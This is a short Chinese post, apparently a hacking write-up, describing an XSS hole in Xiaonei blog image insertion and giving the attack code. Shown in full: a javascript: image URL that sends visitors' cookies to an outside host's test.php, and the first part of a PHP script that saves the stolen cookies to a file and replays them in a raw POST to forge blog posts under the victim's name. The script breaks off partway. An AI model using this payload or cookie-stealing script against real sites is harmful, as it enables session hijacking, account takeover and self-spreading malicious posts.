校内网在发blog时对插入图片过滤不严格，存在xss漏洞.
在发blog时将插入图片URL写为如下代码即可触发：
Javascript 代码复制代码
-
javascript:window.location.href=‘http://xxxxx/test.php?cookie=’+document.cookie
test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下：
Php 代码复制代码
-
<?php
-
ob_start();
-
$url = ‘blog.xiaonei.com’;
-
$cookie=$_GET['cookie'];
-
$cookie1=$cookie.“\r\n\r\n”;
-
fputs(fopen(‘a.txt’,‘a+’),$cookie1); //cookie写入 a.txt
-
//发一条伪造的日志，这条日志里面也可以插入恶意代码
-
$sock = fsockopen(“$url”, 80, $errno, $errstr, 30);
-
if (!$sock) die(“$errstr ($errno)\n”);
-
$data = “title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=”;
-
fwrite($sock, “POST http://$url/NewEntry.do HTTP/1.1\r\n”);
-
fwrite($sock, “Accept: */*\r\n”);
-
